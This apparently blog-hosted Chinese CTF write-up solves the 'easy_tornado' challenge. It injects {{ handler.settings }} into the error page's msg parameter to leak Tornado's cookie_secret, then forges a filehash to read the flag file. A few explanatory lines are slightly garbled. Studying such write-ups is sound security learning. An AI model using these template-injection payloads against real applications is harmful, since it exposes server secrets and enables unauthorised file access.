进入页面:

然后依次看一下:
1)/flag.txt
网页内容:
/flag.txt
flag in /fllllllllllllag
url:
file?filename=/flag.txt&filehash=9f1a5c8c40be3aafbc5e719d151b1d36
这个页面告诉我们,flag在/fllllllllllllag文件中
2)/welcome.txt
网页内容:
/welcome.txt
render
url:
file?filename=/welcome.txt&filehash=290d383abaf5f98a0a858eeb99973a88
3)/hints.txt
网页内容:
/hints.txt
md5(cookie_secret+md5(filename))
url:
file?filename=/hints.txt&filehash=9c2c1e4ce37d7753784d1cdca61cd10f
从上面三个页面来看
- flag在md5(cookie_secret+md5(filename))文件中
- url中的filehash是md5(cookie_secret+md5(filename))
也就是说我们要向读取到文件,payload是这样的:
file?filename=/fllllllllllllag&filehash=**********************
******************的内容是md5(cookie_secret+md5(/fllllllllllllag))
所以我们的差的就是cookie_secret了,下面开始拿cookie_secret
通过源码和请求头并没有看到任何的cookie_secret信息,当我们尝试读取flag的时候:只修改filename为/fllllllllllllag,出现了报错:

题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入
(SSTI模板注入详解)
尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。
那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
传递error?msg={{ handler.settings }}得到:
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘93881405-8942-4355-9d77-09906cf0fcd6’}
这样就拿到cookie_secret了
然后传递file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
这样就拿到flag了。

本文介绍了如何通过SSTI(Server-Side Template Injection)模板注入漏洞来获取cookie_secret,并利用它来解密flag。在easy_tornado挑战中,通过对错误处理和文件访问URL的分析,确定了flag存储方式。通过模板注入获取handler.settings,从而得到cookie_secret,最终解密出flag。
4222

被折叠的 条评论
为什么被折叠?



